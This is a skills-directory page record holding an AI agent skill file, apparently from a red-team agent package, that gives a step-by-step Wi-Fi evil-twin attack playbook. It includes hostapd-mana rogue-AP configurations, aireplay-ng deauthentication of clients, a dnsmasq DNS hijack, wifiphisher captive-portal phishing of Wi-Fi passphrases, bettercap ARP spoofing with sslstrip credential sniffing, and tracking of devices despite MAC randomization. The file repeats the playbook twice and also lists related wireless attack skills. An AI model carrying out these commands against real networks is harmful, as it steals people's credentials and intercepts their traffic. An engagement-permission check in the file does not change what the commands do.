[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770VHFH7N192V56PFSRXF5K":3,"skill-same:01M770VHFH7N192V56PFSRXF5K":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":14,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma",null,"Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: evil-twin-karma\ndescription: Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: wireless\n  when_to_use: \"evil twin, KARMA, Mana, rogue AP, captive portal, hostapd-mana, wifiphisher, airgeddon, PNL, probe response, client coercion, PSK phishing, open network MITM\"\n  tags:\n    - evil-twin\n    - karma\n    - mana\n    - rogue-ap\n    - captive-portal\n    - mitm\n  mitre_attack: T1557, T1556, T1598\n---\n\n# Evil Twin \u002F KARMA \u002F Mana Rogue AP\n\n> **RoE hard stop (mirrors the wireless workflow loaded into your system prompt):**\n> NEVER bring up an evil-twin AP on public airspace without\n> `permitted_actions: evil_twin` recorded in `plan\u002Froe.json` for\n> this session. Confirm `iw reg get` before any TX. This applies\n> even on `posture=loud` — explicit operator approval is required.\n\n## Prerequisites\n\n- TX-capable adapter (not just monitor mode).\n- Tools: `hostapd-mana`, `wifiphisher` (portal templates),\n  `airgeddon` (menu-driven alternative), `dnsmasq`, `bettercap`.\n- Second adapter for deauth (optional but increases coercion speed).\n- `plan\u002Froe.json` must contain `permitted_actions: evil_twin` and\n  valid regulatory TX authorization.\n\n## Step 1 — PNL \u002F probe-request harvest\n\nPreferred-Network List (PNL) probe requests reveal SSIDs a device\nwill auto-associate to. Passive harvest before standing up the rogue AP:\n\n```bash\n# Capture probe requests (passive, no TX required)\nsudo airodump-ng --output-format csv -w \u002Ftmp\u002Fprobes \u003Cmon-iface>\n# Probe column shows client MAC → SSID pairs\n\n# Or use bettercap's wifi.recon\nsudo bettercap -iface \u003Cmon-iface> \\\n    -eval \"wifi.recon on; set wifi.show.sort clients desc; ticker on\"\n# Shows associated clients and their probe history\n```\n\n```bash\n# KARMA universal: respond to ANY probe with a matching SSID.\n# Mana selective: only respond to probes for SSIDs you choose\n#   (lower noise, avoids responding to enterprise SSIDs that\n#    require 802.1X — route those to wpa-enterprise-eap instead).\n\n# Identify high-value targets:\n# - Devices probing for open SSIDs (no PSK needed → immediate MITM)\n# - Devices probing for PSK SSIDs you already know the passphrase for\n# - Devices with MAC randomization disabled (OUI visible in probe SA)\n```\n\n## Step 2 — Stand up rogue AP with hostapd-mana\n\n```bash\n# \u002Ftmp\u002Fmana.conf — open AP with KARMA\u002FMana response\ncat > \u002Ftmp\u002Fmana.conf \u003C\u003C 'EOF'\ninterface=\u003Ciface>\ndriver=nl80211\nssid=\u003CTARGET_SSID>\nhw_mode=g\nchannel=\u003CCHANNEL>\nmana_enable=1\nmana_credout=\u002Ftmp\u002Fmana_creds.txt\nmana_loud=0\nEOF\n\nsudo hostapd-mana \u002Ftmp\u002Fmana.conf\n\n# mana_loud=0 → Mana selective (probe-response-only)\n# mana_loud=1 → KARMA universal (respond to all probes)\n```\n\n```bash\n# For a PSK-matching evil twin (clone of a known WPA2 PSK network):\ncat > \u002Ftmp\u002Fevil_twin_psk.conf \u003C\u003C 'EOF'\ninterface=\u003Ciface>\ndriver=nl80211\nssid=\u003CTARGET_SSID>\nhw_mode=g\nchannel=\u003CCHANNEL>\nwpa=2\nwpa_passphrase=\u003CKNOWN_PSK>\nwpa_key_mgmt=WPA-PSK\nrsn_pairwise=CCMP\nmana_enable=1\nmana_credout=\u002Ftmp\u002Fmana_creds.txt\nEOF\n\nsudo hostapd-mana \u002Ftmp\u002Fevil_twin_psk.conf\n```\n\n## Step 3 — Deauth-driven roaming coercion\n\n```bash\n# Deauth clients from the legitimate AP to accelerate association\n# with the rogue AP. Requires permitted_actions: deauth_for_handshake_capture.\n# Cross-reference deauth-pmf skill for PMF detection first.\nsudo aireplay-ng --deauth 5 -a \u003CLEGIT_BSSID> -c \u003CCLIENT_MAC> \u003Cmon-iface2>\n\n# Broadcast deauth (loud, posture=loud only):\nsudo aireplay-ng --deauth 0 -a \u003CLEGIT_BSSID> \u003Cmon-iface2>\n# Note: broadcast deauth blocked by 802.11w\u002FPMF; check PMF state first.\n```\n\n## Step 4 — DHCP + DNS for associated clients\n\n```bash\n# dnsmasq: DHCP server + DNS for clients on the rogue AP\ncat > \u002Ftmp\u002Fdnsmasq.conf \u003C\u003C 'EOF'\ninterface=\u003Ciface>\ndhcp-range=10.0.0.10,10.0.0.100,255.255.255.0,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\naddress=\u002F#\u002F10.0.0.1\nlog-queries\nEOF\n\nsudo ip addr add 10.0.0.1\u002F24 dev \u003Ciface>\nsudo ip link set \u003Ciface> up\nsudo dnsmasq -C \u002Ftmp\u002Fdnsmasq.conf --no-daemon &\n```\n\n## Step 5 — Captive portal credential capture (wifiphisher)\n\n```bash\n# wifiphisher automated portal attack\nsudo wifiphisher \\\n    --essid \"\u003CTARGET_SSID>\" \\\n    --channel \u003CCHANNEL> \\\n    -p firmware-upgrade \\\n    --handshake-capture \u002Ftmp\u002Fwpa2_handshake.pcap\n\n# Built-in portal templates:\n#   firmware-upgrade    → asks for Wi-Fi PSK to \"install firmware\"\n#   oauth-login         → OAuth\u002Fsocial login credential capture\n#   wifi-connect        → generic Wi-Fi reconnect with PSK prompt\n#   plugin_update       → browser plugin update (payload delivery)\n\n# Captured credentials written to wifiphisher's output log.\n# For custom portal: --phishing-pages-directory \u002Fpath\u002Fto\u002Fcustom\u002F\n```\n\n```bash\n# Manual transparent MITM with bettercap after client connects:\nsudo bettercap -iface \u003Ciface> \\\n    -eval \"\n        set http.proxy.sslstrip true;\n        set net.sniff.verbose false;\n        net.probe on;\n        arp.spoof on;\n        http.proxy on;\n        net.sniff on\n    \"\n# bettercap captures credentials from HTTP\u002Fstripped HTTPS sessions.\n# Output to \u002Ftmp\u002Fbettercap_creds.log\n```\n\n## Step 6 — MAC-randomization defeat\n\nModern OS (Android 10+, iOS 14+, Windows 10+) use random MACs for\nprobe requests, complicating targeting:\n\n```bash\n# De-anonymize via PNL analysis:\n# 1. Capture probes over time; filter by sequence number continuity\n#    (same device reuses sequence counter across random MACs).\ntshark -r \u002Ftmp\u002Fprobes-01.cap -Y \"wlan.fc.type_subtype == 4\" \\\n    -T fields -e wlan.sa -e wlan_mgt.ssid -e wlan.seq 2>\u002Fdev\u002Fnull \\\n    | sort -k1,1 -k3,3n > \u002Ftmp\u002Fprobe_seqs.txt\n\n# 2. Same device will show incrementing seq nums even with different MACs.\n# 3. Once the device associates to your rogue AP, it uses its real MAC\n#    (most implementations reset randomization on association).\n```\n\n## Evidence\n\n```python\n# Portal-captured credential\nkg_add_node(\n    kind=\"credential\",\n    label=f\"Captive portal PSK for {ssid}\",\n    props={\n        \"key\": f\"portal-cred::{bssid}::{client_mac}\",\n        \"secret_type\": \"wpa_psk_phished\",\n        \"ssid\": ssid,\n        \"bssid\": bssid,\n        \"client_mac\": client_mac,\n        \"psk\": psk,\n        \"portal_template\": template_name,\n        \"captured_at\": \"\u003Ciso8601>\",\n        \"source\": \"wifiphisher-portal\",\n    },\n)\n\n# PNL leak finding\nkg_add_node(\n    kind=\"finding\",\n    label=\"Client PNL Probe Leakage — Evil-Twin Viable\",\n    props={\n        \"key\": f\"pnl-leak::{client_mac}\",\n        \"severity\": \"high\",\n        \"exposed_ssids\": [\u003Cssid_list>],\n        \"client_mac\": client_mac,\n        \"remediation\": (\n            \"Enable MAC randomization and disable 'auto-connect' for \"\n            \"saved networks. Use WPA3 with Protected Management Frames \"\n            \"to prevent deauth-driven roaming.\"\n        ),\n    },\n)\n```\n\n## ZFP\n\n1. airodump CSV showing client probe requests for target SSID.\n2. hostapd-mana log showing client association to rogue AP.\n3. wifiphisher output or bettercap log showing captured credential.\n4. (Optional) Pcap of the full association + DHCP + portal flow.\n\n## OPSEC notes\n\n- Mana selective is quieter than KARMA universal — only probed SSIDs\n  get a response, reducing unexpected associations and WIDS alerts.\n- Open AP (no PSK) has the fastest client association but exposes the\n  rogue AP to casual discovery.\n- wifiphisher generates detectable management frames; WIDS tuned for\n  rogue APs will fire. Default posture: loud.\n- Deauth coercion amplifies WIDS visibility; use single targeted\n  deauth (`--deauth 1`) over broadcast where possible.\n- Tear down the rogue AP immediately after credential capture to\n  minimize dwell and collateral client disruption.\n\n## References\n\n- hostapd-mana: github.com\u002Fsensepost\u002Fhostapd-mana\n- wifiphisher: github.com\u002Fwifiphisher\u002Fwifiphisher\n- airgeddon: github.com\u002Fv1s1t0r1sh3r3\u002Fairgeddon\n- bettercap: bettercap.org\n- `wpa-enterprise-eap` skill — use instead for 802.1X\u002FMGT targets.\n- `deauth-pmf` skill — PMF detection and targeted deauth mechanics.\n- `wpa3-sae` skill — Path D captive portal for SAE networks.\n","# Evil Twin \u002F KARMA \u002F Mana Rogue AP\n\n> **RoE hard stop (mirrors the wireless workflow loaded into your system prompt):**\n> NEVER bring up an evil-twin AP on public airspace without\n> `permitted_actions: evil_twin` recorded in `plan\u002Froe.json` for\n> this session. Confirm `iw reg get` before any TX. This applies\n> even on `posture=loud` — explicit operator approval is required.\n\n## Prerequisites\n\n- TX-capable adapter (not just monitor mode).\n- Tools: `hostapd-mana`, `wifiphisher` (portal templates),\n  `airgeddon` (menu-driven alternative), `dnsmasq`, `bettercap`.\n- Second adapter for deauth (optional but increases coercion speed).\n- `plan\u002Froe.json` must contain `permitted_actions: evil_twin` and\n  valid regulatory TX authorization.\n\n## Step 1 — PNL \u002F probe-request harvest\n\nPreferred-Network List (PNL) probe requests reveal SSIDs a device\nwill auto-associate to. Passive harvest before standing up the rogue AP:\n\n```bash\n# Capture probe requests (passive, no TX required)\nsudo airodump-ng --output-format csv -w \u002Ftmp\u002Fprobes \u003Cmon-iface>\n# Probe column shows client MAC → SSID pairs\n\n# Or use bettercap's wifi.recon\nsudo bettercap -iface \u003Cmon-iface> \\\n    -eval \"wifi.recon on; set wifi.show.sort clients desc; ticker on\"\n# Shows associated clients and their probe history\n```\n\n```bash\n# KARMA universal: respond to ANY probe with a matching SSID.\n# Mana selective: only respond to probes for SSIDs you choose\n#   (lower noise, avoids responding to enterprise SSIDs that\n#    require 802.1X — route those to wpa-enterprise-eap instead).\n\n# Identify high-value targets:\n# - Devices probing for open SSIDs (no PSK needed → immediate MITM)\n# - Devices probing for PSK SSIDs you already know the passphrase for\n# - Devices with MAC randomization disabled (OUI visible in probe SA)\n```\n\n## Step 2 — Stand up rogue AP with hostapd-mana\n\n```bash\n# \u002Ftmp\u002Fmana.conf — open AP with KARMA\u002FMana response\ncat > \u002Ftmp\u002Fmana.conf \u003C\u003C 'EOF'\ninterface=\u003Ciface>\ndriver=nl80211\nssid=\u003CTARGET_SSID>\nhw_mode=g\nchannel=\u003CCHANNEL>\nmana_enable=1\nmana_credout=\u002Ftmp\u002Fmana_creds.txt\nmana_loud=0\nEOF\n\nsudo hostapd-mana \u002Ftmp\u002Fmana.conf\n\n# mana_loud=0 → Mana selective (probe-response-only)\n# mana_loud=1 → KARMA universal (respond to all probes)\n```\n\n```bash\n# For a PSK-matching evil twin (clone of a known WPA2 PSK network):\ncat > \u002Ftmp\u002Fevil_twin_psk.conf \u003C\u003C 'EOF'\ninterface=\u003Ciface>\ndriver=nl80211\nssid=\u003CTARGET_SSID>\nhw_mode=g\nchannel=\u003CCHANNEL>\nwpa=2\nwpa_passphrase=\u003CKNOWN_PSK>\nwpa_key_mgmt=WPA-PSK\nrsn_pairwise=CCMP\nmana_enable=1\nmana_credout=\u002Ftmp\u002Fmana_creds.txt\nEOF\n\nsudo hostapd-mana \u002Ftmp\u002Fevil_twin_psk.conf\n```\n\n## Step 3 — Deauth-driven roaming coercion\n\n```bash\n# Deauth clients from the legitimate AP to accelerate association\n# with the rogue AP. Requires permitted_actions: deauth_for_handshake_capture.\n# Cross-reference deauth-pmf skill for PMF detection first.\nsudo aireplay-ng --deauth 5 -a \u003CLEGIT_BSSID> -c \u003CCLIENT_MAC> \u003Cmon-iface2>\n\n# Broadcast deauth (loud, posture=loud only):\nsudo aireplay-ng --deauth 0 -a \u003CLEGIT_BSSID> \u003Cmon-iface2>\n# Note: broadcast deauth blocked by 802.11w\u002FPMF; check PMF state first.\n```\n\n## Step 4 — DHCP + DNS for associated clients\n\n```bash\n# dnsmasq: DHCP server + DNS for clients on the rogue AP\ncat > \u002Ftmp\u002Fdnsmasq.conf \u003C\u003C 'EOF'\ninterface=\u003Ciface>\ndhcp-range=10.0.0.10,10.0.0.100,255.255.255.0,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\naddress=\u002F#\u002F10.0.0.1\nlog-queries\nEOF\n\nsudo ip addr add 10.0.0.1\u002F24 dev \u003Ciface>\nsudo ip link set \u003Ciface> up\nsudo dnsmasq -C \u002Ftmp\u002Fdnsmasq.conf --no-daemon &\n```\n\n## Step 5 — Captive portal credential capture (wifiphisher)\n\n```bash\n# wifiphisher automated portal attack\nsudo wifiphisher \\\n    --essid \"\u003CTARGET_SSID>\" \\\n    --channel \u003CCHANNEL> \\\n    -p firmware-upgrade \\\n    --handshake-capture \u002Ftmp\u002Fwpa2_handshake.pcap\n\n# Built-in portal templates:\n#   firmware-upgrade    → asks for Wi-Fi PSK to \"install firmware\"\n#   oauth-login         → OAuth\u002Fsocial login credential capture\n#   wifi-connect        → generic Wi-Fi reconnect with PSK prompt\n#   plugin_update       → browser plugin update (payload delivery)\n\n# Captured credentials written to wifiphisher's output log.\n# For custom portal: --phishing-pages-directory \u002Fpath\u002Fto\u002Fcustom\u002F\n```\n\n```bash\n# Manual transparent MITM with bettercap after client connects:\nsudo bettercap -iface \u003Ciface> \\\n    -eval \"\n        set http.proxy.sslstrip true;\n        set net.sniff.verbose false;\n        net.probe on;\n        arp.spoof on;\n        http.proxy on;\n        net.sniff on\n    \"\n# bettercap captures credentials from HTTP\u002Fstripped HTTPS sessions.\n# Output to \u002Ftmp\u002Fbettercap_creds.log\n```\n\n## Step 6 — MAC-randomization defeat\n\nModern OS (Android 10+, iOS 14+, Windows 10+) use random MACs for\nprobe requests, complicating targeting:\n\n```bash\n# De-anonymize via PNL analysis:\n# 1. Capture probes over time; filter by sequence number continuity\n#    (same device reuses sequence counter across random MACs).\ntshark -r \u002Ftmp\u002Fprobes-01.cap -Y \"wlan.fc.type_subtype == 4\" \\\n    -T fields -e wlan.sa -e wlan_mgt.ssid -e wlan.seq 2>\u002Fdev\u002Fnull \\\n    | sort -k1,1 -k3,3n > \u002Ftmp\u002Fprobe_seqs.txt\n\n# 2. Same device will show incrementing seq nums even with different MACs.\n# 3. Once the device associates to your rogue AP, it uses its real MAC\n#    (most implementations reset randomization on association).\n```\n\n## Evidence\n\n```python\n# Portal-captured credential\nkg_add_node(\n    kind=\"credential\",\n    label=f\"Captive portal PSK for {ssid}\",\n    props={\n        \"key\": f\"portal-cred::{bssid}::{client_mac}\",\n        \"secret_type\": \"wpa_psk_phished\",\n        \"ssid\": ssid,\n        \"bssid\": bssid,\n        \"client_mac\": client_mac,\n        \"psk\": psk,\n        \"portal_template\": template_name,\n        \"captured_at\": \"\u003Ciso8601>\",\n        \"source\": \"wifiphisher-portal\",\n    },\n)\n\n# PNL leak finding\nkg_add_node(\n    kind=\"finding\",\n    label=\"Client PNL Probe Leakage — Evil-Twin Viable\",\n    props={\n        \"key\": f\"pnl-leak::{client_mac}\",\n        \"severity\": \"high\",\n        \"exposed_ssids\": [\u003Cssid_list>],\n        \"client_mac\": client_mac,\n        \"remediation\": (\n            \"Enable MAC randomization and disable 'auto-connect' for \"\n            \"saved networks. Use WPA3 with Protected Management Frames \"\n            \"to prevent deauth-driven roaming.\"\n        ),\n    },\n)\n```\n\n## ZFP\n\n1. airodump CSV showing client probe requests for target SSID.\n2. hostapd-mana log showing client association to rogue AP.\n3. wifiphisher output or bettercap log showing captured credential.\n4. (Optional) Pcap of the full association + DHCP + portal flow.\n\n## OPSEC notes\n\n- Mana selective is quieter than KARMA universal — only probed SSIDs\n  get a response, reducing unexpected associations and WIDS alerts.\n- Open AP (no PSK) has the fastest client association but exposes the\n  rogue AP to casual discovery.\n- wifiphisher generates detectable management frames; WIDS tuned for\n  rogue APs will fire. Default posture: loud.\n- Deauth coercion amplifies WIDS visibility; use single targeted\n  deauth (`--deauth 1`) over broadcast where possible.\n- Tear down the rogue AP immediately after credential capture to\n  minimize dwell and collateral client disruption.\n\n## References\n\n- hostapd-mana: github.com\u002Fsensepost\u002Fhostapd-mana\n- wifiphisher: github.com\u002Fwifiphisher\u002Fwifiphisher\n- airgeddon: github.com\u002Fv1s1t0r1sh3r3\u002Fairgeddon\n- bettercap: bettercap.org\n- `wpa-enterprise-eap` skill — use instead for 802.1X\u002FMGT targets.\n- `deauth-pmf` skill — PMF detection and targeted deauth mechanics.\n- `wpa3-sae` skill — Path D captive portal for SAE networks.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":35},{"tags":25,"subdomain":32,"when_to_use":33,"mitre_attack":34},[26,27,28,29,30,31],"evil-twin","karma","mana","rogue-ap","captive-portal","mitm","wireless","evil twin, KARMA, Mana, rogue AP, captive portal, hostapd-mana, wifiphisher, airgeddon, PNL, probe response, client coercion, PSK phishing, open network MITM","T1557, T1556, T1598","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill evil-twin-karma",{"tool":48,"command":49},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill evil-twin-karma",{"tool":51,"command":52},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill evil-twin-karma","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",true,[],[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":19},"01M770VCR84MJBVQPD1PNEDKGX","deauth-pmf","Targeted and broadcast 802.11 deauthentication \u002F disassociation, 802.11w\u002FPMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fdeauth-pmf\u002FSKILL.md",[],[]]